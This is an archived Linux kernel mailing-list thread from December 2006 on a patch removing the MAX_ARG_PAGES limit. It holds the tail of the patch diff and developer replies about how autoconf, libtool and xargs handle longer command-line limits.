@@ -82,6 +79,7 @@ extern int suid_dumpable;
 extern int setup_arg_pages(struct linux_binprm * bprm,
 			   unsigned long stack_top,
 			   int executable_stack);
+extern int bprm_mm_init(struct linux_binprm *bprm);
 extern int copy_strings_kernel(int argc,char ** argv,struct linux_binprm *bprm);
 extern void compute_creds(struct linux_binprm *binprm);
 extern int do_coredump(long signr, int exit_code, struct pt_regs * regs);
Index: linux/include/linux/mm.h
===================================================================
--- linux.orig/include/linux/mm.h
+++ linux/include/linux/mm.h
@@ -775,7 +775,6 @@ static inline int handle_mm_fault(struct
 
 extern int make_pages_present(unsigned long addr, unsigned long end);
 extern int access_process_vm(struct task_struct *tsk, unsigned long addr, void *buf, int len, int write);
-void install_arg_page(struct vm_area_struct *, struct page *, unsigned long);
 
 int get_user_pages(struct task_struct *tsk, struct mm_struct *mm, unsigned long start,
 		int len, int write, int force, struct page **pages, struct vm_area_struct **vmas);
@@ -791,9 +790,15 @@ int FASTCALL(set_page_dirty(struct page 
 int set_page_dirty_lock(struct page *page);
 int clear_page_dirty_for_io(struct page *page);
 
+extern unsigned long move_vma(struct vm_area_struct *vma,
+		unsigned long old_addr, unsigned long old_len,
+		unsigned long new_len, unsigned long new_addr);
 extern unsigned long do_mremap(unsigned long addr,
 			       unsigned long old_len, unsigned long new_len,
 			       unsigned long flags, unsigned long new_addr);
+extern int mprotect_fixup(struct vm_area_struct *vma,
+			  struct vm_area_struct **pprev, unsigned long start,
+			  unsigned long end, unsigned long newflags);
 
 /*
  * Prototype to add a shrinker callback for ageable caches.
Index: linux/kernel/auditsc.c
===================================================================
--- linux.orig/kernel/auditsc.c
+++ linux/kernel/auditsc.c
@@ -1755,6 +1755,10 @@ int __audit_ipc_set_perm(unsigned long q
 
 int audit_bprm(struct linux_binprm *bprm)
 {
+	/* FIXME: Don't do anything for now until I figure out how to handle
+	 * this.  With the latest changes, kmalloc could well fail under good
+	 * scenarios. */
+#if 0
 	struct audit_aux_data_execve *ax;
 	struct audit_context *context = current->audit_context;
 	unsigned long p, next;
@@ -1782,6 +1786,7 @@ int audit_bprm(struct linux_binprm *bprm
 	ax->d.type = AUDIT_EXECVE;
 	ax->d.next = context->aux;
 	context->aux = (void *)ax;
+#endif
 	return 0;
 }
 
Index: linux/mm/mprotect.c
===================================================================
--- linux.orig/mm/mprotect.c
+++ linux/mm/mprotect.c
@@ -128,7 +128,7 @@ static void change_protection(struct vm_
 	flush_tlb_range(vma, start, end);
 }
 
-static int
+int
 mprotect_fixup(struct vm_area_struct *vma, struct vm_area_struct **pprev,
 	unsigned long start, unsigned long end, unsigned long newflags)
 {
Index: linux/mm/mremap.c
===================================================================
--- linux.orig/mm/mremap.c
+++ linux/mm/mremap.c
@@ -155,7 +155,7 @@ static unsigned long move_page_tables(st
 	return len + old_addr - old_end;	/* how much done */
 }
 
-static unsigned long move_vma(struct vm_area_struct *vma,
+unsigned long move_vma(struct vm_area_struct *vma,
 		unsigned long old_addr, unsigned long old_len,
 		unsigned long new_len, unsigned long new_addr)
 {
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King <rmk+lkml@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] remove MAX_ARG_PAGES
Date: Fri, 29 Dec 2006 20:49:04 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20061229204904.GI20596__20817.2061051757$1416624243$gmane$org@flint.arm.linux.org.uk>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160572460.2006.79.camel@taijtu>
	<65dd6fd50610111448q7ff210e1nb5f14917c311c8d4@mail.gmail.com>
	<65dd6fd50610241048h24af39d9ob49c3816dfe1ca64@mail.gmail.com>
	<20061229200357.GA5940@elte.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624243 21955 80.91.229.3 (22 Nov 2014 02:44:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:03 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 Ollie Wild <aaw@google.com>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2006 21:39:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 29 Dec 2006 22:39:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 644E77D8D3;
	Fri, 29 Dec 2006 14:39:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15172-07; Fri, 29 Dec 2006 14:39:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D144C7D8D7;
	Fri, 29 Dec 2006 14:39:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5601E7D799
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 13:49:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14901-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 13:49:17 -0700 (MST)
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[217.147.92.249])
	by free.linux.hp.com (Postfix) with ESMTP id 7F77C7D716
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 13:49:17 -0700 (MST)
Original-Received: from flint.arm.linux.org.uk ([2002:d993:5cf9:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.52) id 1H0Of5-00061f-VZ; Fri, 29 Dec 2006 20:49:08 +0000
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.62)
	(envelope-from <rmk@flint.arm.linux.org.uk>)
	id 1H0Of2-0006Bx-RY; Fri, 29 Dec 2006 20:49:04 +0000
Mail-Followup-To: Ingo Molnar <mingo@elte.hu>,
	Ollie Wild <aaw@google.com>, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org,
	Linus Torvalds <torvalds@osdl.org>,
	Arjan van de Ven <arjan@infradead.org>, linux-mm@kvack.org,
	Andrew Morton <akpm@osdl.org>, Andi Kleen <ak@muc.de>,
	linux-arch@vger.kernel.org, David Howells <dhowells@redhat.com>,
	Peter Zijlstra <a.p.zijlstra@chello.nl>
Content-Disposition: inline
In-Reply-To: <20061229200357.GA5940@elte.hu>
User-Agent: Mutt/1.4.2.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Fri, 29 Dec 2006 14:39:40 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HLygcWhiTiEtQKyUaGRwztZ1ZUVSRBeS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24179

On Fri, Dec 29, 2006 at 09:03:57PM +0100, Ingo Molnar wrote:
> FYI, i have forward ported your MAX_ARG_PAGES limit removal patch to 
> 2.6.20-rc2 and have included it in the -rt kernel. It's working great - 
> i can now finally do a "ls -t patches/*.patch" in my patch repository - 
> something i havent been able to do for years ;-)

How do the various autoconf stuff react to this?  Eg, I notice the
following in various configure scripts:

checking the maximum length of command line arguments... 32768

Suggest you test (eg) a rebuild of libX11 to see how it reacts to
this patch.

-- 
Russell King
 Linux kernel    2.6 ARM Linux   - http://www.arm.linux.org.uk/
 maintainer of:
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@osdl.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] remove MAX_ARG_PAGES
Date: Fri, 29 Dec 2006 13:23:35 -0800 (PST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0612291322150.4473__8052.46854802153$1416624243$gmane$org@woody.osdl.org>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160572460.2006.79.camel@taijtu>
	<65dd6fd50610111448q7ff210e1nb5f14917c311c8d4@mail.gmail.com>
	<65dd6fd50610241048h24af39d9ob49c3816dfe1ca64@mail.gmail.com>
	<20061229200357.GA5940@elte.hu>
	<20061229204904.GI20596@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624243 21957 80.91.229.3 (22 Nov 2014 02:44:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:03 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Ollie Wild <aaw@google.com>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: Russell King <rmk+lkml@arm.linux.org.uk>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2006 21:39:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 29 Dec 2006 22:39:55 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3941A7D903;
	Fri, 29 Dec 2006 14:39:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15388-01; Fri, 29 Dec 2006 14:39:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0951F7D716;
	Fri, 29 Dec 2006 14:39:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 799497D8B2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 14:27:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15172-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 14:27:12 -0700 (MST)
Original-Received: from smtp.osdl.org (smtp.osdl.org [65.172.181.25])
	by free.linux.hp.com (Postfix) with ESMTP id B1AFB7D643
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 14:27:12 -0700 (MST)
Original-Received: from shell0.pdx.osdl.net (fw.osdl.org [65.172.181.6])
	by smtp.osdl.org (8.12.8/8.12.8) with ESMTP id kBTLNc2J001617
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Fri, 29 Dec 2006 13:23:39 -0800
Original-Received: from localhost (shell0.pdx.osdl.net [10.9.0.31])
	by shell0.pdx.osdl.net (8.13.1/8.11.6) with ESMTP id kBTLNZ9t004871;
	Fri, 29 Dec 2006 13:23:36 -0800
In-Reply-To: <20061229204904.GI20596@flint.arm.linux.org.uk>
X-Spam-Status: No, hits=-2.675 required=5 tests=AWL,
	OSDL_HEADER_SUBJECT_BRACKETED, PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 2.63-osdl_revision__1.107__
X-MIMEDefang-Filter: osdl$Revision: 1.165 $
X-Scanned-By: MIMEDefang 2.36
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Fri, 29 Dec 2006 14:39:40 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GfGgLXRPZDI4DLHGdWY2h8NxemhmYwFc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24180



On Fri, 29 Dec 2006, Russell King wrote:
> 
> Suggest you test (eg) a rebuild of libX11 to see how it reacts to
> this patch.

Also: please rebuild "xargs" and install first. Otherwise, a lot of 
build script etc that use "xargs" won't ever trigger the new limits (or 
lack thereof), because xargs will have been installed with some old 
limits.

Perhaps more worrying is if compiling xargs under a new kernel then means 
that it won't work correctly under an old one.

		Linus
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] remove MAX_ARG_PAGES
Date: Fri, 29 Dec 2006 22:57:14 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20061229215714.GA21694__15892.9848032587$1416624243$gmane$org@elte.hu>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160572460.2006.79.camel@taijtu>
	<65dd6fd50610111448q7ff210e1nb5f14917c311c8d4@mail.gmail.com>
	<65dd6fd50610241048h24af39d9ob49c3816dfe1ca64@mail.gmail.com>
	<20061229200357.GA5940@elte.hu>
	<20061229204904.GI20596@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624243 21961 80.91.229.3 (22 Nov 2014 02:44:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:03 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Linus Torvalds <torvalds@osdl.org>,
 Ollie Wild <aaw@google.com>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: Russell King <rmk+lkml@arm.linux.org.uk>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2006 22:00:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 29 Dec 2006 23:00:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49C967D916;
	Fri, 29 Dec 2006 15:00:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15542-04; Fri, 29 Dec 2006 15:00:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 325A67D919;
	Fri, 29 Dec 2006 15:00:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58B7C7D903
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 15:00:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15542-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 15:00:08 -0700 (MST)
Original-Received: from mx2.mail.elte.hu (mx2.mail.elte.hu [157.181.151.9])
	by free.linux.hp.com (Postfix) with ESMTP id 7D4647D8F4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 15:00:08 -0700 (MST)
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim) id 1H0PlS-0005pv-Lu
	from <mingo@elte.hu>; Fri, 29 Dec 2006 22:59:47 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 766BC3E2421; Fri, 29 Dec 2006 22:59:37 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20061229204904.GI20596@flint.arm.linux.org.uk>
User-Agent: Mutt/1.4.2.2i
Received-SPF: softfail (mx2: transitioning domain of elte.hu does not
	designate 157.181.1.14 as permitted sender)
	client-ip=157.181.1.14; envelope-from=mingo@elte.hu;
	helo=elvis.elte.hu; 
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -5.9
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-5.9 required=5.9 tests=ALL_TRUSTED,
	BAYES_00 autolearn=no SpamAssassin version=3.0.3
	-3.3 ALL_TRUSTED            Did not pass through any untrusted hosts
	-2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lOv9CCREbHIyX63NNjQ0t58qJihyapAE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24181


* Russell King <rmk+lkml@arm.linux.org.uk> wrote:

> On Fri, Dec 29, 2006 at 09:03:57PM +0100, Ingo Molnar wrote:
> > FYI, i have forward ported your MAX_ARG_PAGES limit removal patch to 
> > 2.6.20-rc2 and have included it in the -rt kernel. It's working great - 
> > i can now finally do a "ls -t patches/*.patch" in my patch repository - 
> > something i havent been able to do for years ;-)
> 
> How do the various autoconf stuff react to this?  Eg, I notice the 
> following in various configure scripts:
> 
> checking the maximum length of command line arguments... 32768

yes, that's how libtool works, it goes from 32K downwards to figure out 
a maximum. I dont see a problem there.

you can find a few other variants at:

  http://www.google.com/codesearch?q=%22checking+the+maximum+length+of+command+line+arguments%22&hl=en&btnG=Search+Code

worst-case the test-command would get a segfault from the default stack 
limit. (8MB on Fedora)

	Ingo
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] remove MAX_ARG_PAGES
Date: Fri, 29 Dec 2006 23:20:31 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20061229222031.GA23724__27509.6589386978$1416624244$gmane$org@elte.hu>
References: <65dd6fd50610101705t3db93a72sc0847cd120aa05d3@mail.gmail.com>
	<1160572460.2006.79.camel@taijtu>
	<65dd6fd50610111448q7ff210e1nb5f14917c311c8d4@mail.gmail.com>
	<65dd6fd50610241048h24af39d9ob49c3816dfe1ca64@mail.gmail.com>
	<20061229200357.GA5940@elte.hu>
	<20061229204904.GI20596@flint.arm.linux.org.uk>
	<Pine.LNX.4.64.0612291322150.4473@woody.osdl.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624244 21964 80.91.229.3 (22 Nov 2014 02:44:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:04 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 linux-arch@vger.kernel.org,
 Russell King <rmk+lkml@arm.linux.org.uk>,
 Peter Zijlstra <a.p.zijlstra@chello.nl>,
 Andi Kleen <ak@muc.de>,
 linux-kernel@vger.kernel.org,
 David Howells <dhowells@redhat.com>,
 linux-mm@kvack.org,
 Ollie Wild <aaw@google.com>,
 Ulrich Drepper <drepper@redhat.com>,
 parisc-linux@lists.parisc-linux.org,
 Arjan van de Ven <arjan@infradead.org>
To: Linus Torvalds <torvalds@osdl.org>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2006 22:24:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 29 Dec 2006 23:24:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D7F57D906;
	Fri, 29 Dec 2006 15:23:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15830-06; Fri, 29 Dec 2006 15:23:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DA6D7D91D;
	Fri, 29 Dec 2006 15:23:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E4CA7D904
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 15:23:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15830-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 15:23:52 -0700 (MST)
Original-Received: from mx2.mail.elte.hu (mx2.mail.elte.hu [157.181.151.9])
	by free.linux.hp.com (Postfix) with ESMTP id 6BEF47D8F9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 29 Dec 2006 15:23:52 -0700 (MST)
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim) id 1H0Q8R-0007DE-Os
	from <mingo@elte.hu>; Fri, 29 Dec 2006 23:23:32 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 4F5CF3E2421; Fri, 29 Dec 2006 23:22:59 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.64.0612291322150.4473@woody.osdl.org>
User-Agent: Mutt/1.4.2.2i
Received-SPF: softfail (mx2: transitioning domain of elte.hu does not
	designate 157.181.1.14 as permitted sender)
	client-ip=157.181.1.14; envelope-from=mingo@elte.hu;
	helo=elvis.elte.hu; 
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -2.6
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-2.6 required=5.9 tests=BAYES_00 autolearn=no
	SpamAssassin version=3.0.3
	-2.6 BAYES_00 BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zeD0IXREa0AoXL6aejEzV/I3Njh6dE65
Status: R
